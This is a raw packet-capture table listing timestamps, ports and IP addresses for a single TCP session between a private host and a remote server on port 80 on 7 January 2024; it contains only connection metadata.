Jan 7, 2024 05:29:28.071671963 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:28.071712017 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:28.071772099 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:28.071887970 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:28.071933031 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:28.071986914 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:28.072067976 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:28.072134018 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:28.072161913 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:28.072221994 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:28.072266102 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:28.265223980 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:28.265314102 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:28.265368938 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:28.265436888 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:28.265537024 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:28.265578985 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:28.265616894 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:28.265732050 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:28.265779972 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:28.265827894 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:28.265993118 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:28.266031981 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:28.266077995 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:28.266174078 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:28.266211033 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:28.266235113 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:28.266314030 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:28.266352892 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:28.266423941 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:28.266500950 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:28.266541004 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:28.266616106 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:28.266691923 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:28.266730070 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:28.266757965 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:28.266805887 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:28.266850948 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:28.266902924 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:28.266995907 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:28.267036915 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:28.461895943 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:28.461916924 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:28.461971045 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:28.461994886 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:28.462002039 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:28.462029934 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:28.462038994 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:28.462079048 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:28.462116003 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:28.462152958 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:28.462270021 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:28.462325096 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:28.462423086 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:28.462496996 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:28.462531090 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:28.462619066 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:28.462702990 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:28.462738037 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:28.462801933 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:28.462882042 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:28.462915897 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:28.462939024 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:28.462996960 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:28.463032007 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:28.463139057 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:28.463218927 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:28.463253975 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:28.463268995 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:28.463372946 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:28.463407993 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:28.463454962 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:28.463562965 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:28.463599920 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:28.463965893 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:28.464015007 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:28.464054108 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:28.464082956 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:28.464107037 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:28.464145899 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:28.464196920 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:28.464262009 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:28.464297056 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:28.464342117 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:28.464409113 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:28.464448929 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:28.464525938 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:28.464584112 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:28.464623928 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:28.464653015 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:28.464730978 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:28.464771032 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:28.464862108 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:28.464915037 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:28.464951992 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:28.465186119 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:28.465257883 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:28.465295076 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:28.465374947 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:28.465428114 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:28.465462923 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:28.656338930 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:28.656352997 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:28.656364918 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:28.656375885 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:28.656414032 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:28.656435013 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:28.656444073 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:28.656472921 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:28.656513929 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:28.656575918 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:28.656614065 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:28.656652927 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:28.656668901 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:28.656754017 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:28.656768084 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:28.656794071 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:28.656802893 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:28.656820059 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:28.656847000 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:28.656903982 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:28.656917095 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:28.656929016 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:28.656949043 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:28.656965017 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:28.656969070 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:28.657006025 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:28.657044888 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:28.657063961 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:28.657121897 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:28.657197952 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:28.657212019 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:28.657228947 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:28.657257080 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:28.657267094 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:28.657301903 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:28.657314062 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:28.657335997 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:28.657360077 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:28.657372952 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:28.657386065 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:28.657397985 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:28.657433987 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:28.657459021 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:28.657521963 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:28.657533884 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:28.657550097 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:28.657561064 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:28.657567024 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:28.657594919 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:28.657634020 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:28.657646894 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:28.657674074 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:28.657691002 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:28.657713890 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:28.657727957 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:28.657763958 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:28.657776117 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:28.657787085 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:28.657799959 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:28.657825947 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:28.657829046 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:28.657918930 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:28.657936096 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:28.657947063 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:28.657965899 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:28.657977104 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:28.658267021 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:28.658308983 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:28.658328056 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:28.658339024 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:28.658360004 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:28.658375025 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:28.658427000 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:28.658438921 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:28.658478975 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:28.658479929 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:28.658515930 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:28.658552885 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:28.658552885 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:28.658600092 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:28.658653975 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:28.658654928 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:28.658678055 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:28.658713102 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:28.658727884 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:28.658756971 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:28.658792019 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:28.658799887 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:28.658842087 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:28.658874989 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:28.658901930 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:28.658929110 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:28.658968925 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:28.658972025 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:28.658984900 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:28.658997059 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:28.659019947 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:28.659037113 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:28.659076929 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:28.659095049 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:28.659107924 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:28.659142971 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:28.659161091 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:28.659214020 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:28.659225941 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:28.659236908 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:28.659251928 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:28.659276962 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:28.659451008 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:28.659473896 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:28.659509897 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:28.659526110 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:28.659539938 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:28.659568071 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:28.659598112 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:28.659621000 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:28.659665108 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:28.659678936 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:28.659702063 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:28.659730911 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:28.661655903 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:28.661750078 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:28.850815058 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:28.850864887 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:28.850893974 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:28.850923061 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:28.850929022 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:28.850980043 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:28.851012945 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:28.851077080 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:28.851111889 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:28.851134062 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:28.851149082 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:28.851187944 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:28.851200104 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:28.851269007 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:28.851283073 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:28.851309061 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:28.851387024 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:28.851432085 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:28.851505995 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:28.851560116 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:28.851572990 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:28.851599932 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:28.851658106 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:28.851671934 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:28.851697922 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:28.851747036 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:28.851761103 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:28.851788998 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:28.851799965 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:28.851824999 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:28.851834059 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:28.851897001 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:28.851938963 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:28.851954937 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:28.851994991 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:28.852036953 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:28.852042913 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:28.852067947 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:28.852104902 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:28.852112055 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:28.852154970 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:28.852197886 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:28.852236986 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:28.852303982 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:28.852343082 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:28.852441072 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:28.852464914 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:28.852478027 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:28.852502108 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:28.852544069 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:28.852601051 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:28.852646112 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:28.852705002 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:28.852757931 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:28.852767944 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:28.852876902 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:28.852911949 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:28.852912903 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:28.852977037 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:28.853023052 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:28.853077888 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:28.853157997 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:28.853199959 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:28.853202105 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:28.853241920 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:28.853290081 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:28.853770018 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:28.853821993 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:28.853867054 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:28.853874922 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:28.853915930 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:28.853960037 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:28.853993893 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:28.854022980 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:28.854079008 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:28.854083061 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:28.854160070 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:28.854192019 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:28.854209900 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:28.854341984 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:28.854386091 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:28.854456902 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:28.854501009 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:28.854533911 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:28.854562998 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:28.854624033 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:28.854665995 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:28.854688883 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:28.854840040 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:28.854877949 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:28.854898930 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:28.854938030 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:28.854976892 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:28.854981899 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:28.855001926 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:28.855038881 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:28.855076075 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:28.855143070 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:28.855159044 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:28.855185986 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:28.855186939 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:28.855221033 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:28.855242014 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:28.855324984 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:28.855380058 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:28.855446100 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:28.855576038 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:28.855612040 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:28.855658054 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:28.855716944 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:28.855741978 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:28.855763912 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:28.855832100 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:28.855866909 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:28.855889082 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:28.855964899 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:28.856014013 CET	49735	80	192.168.2.4	91.215.85.120
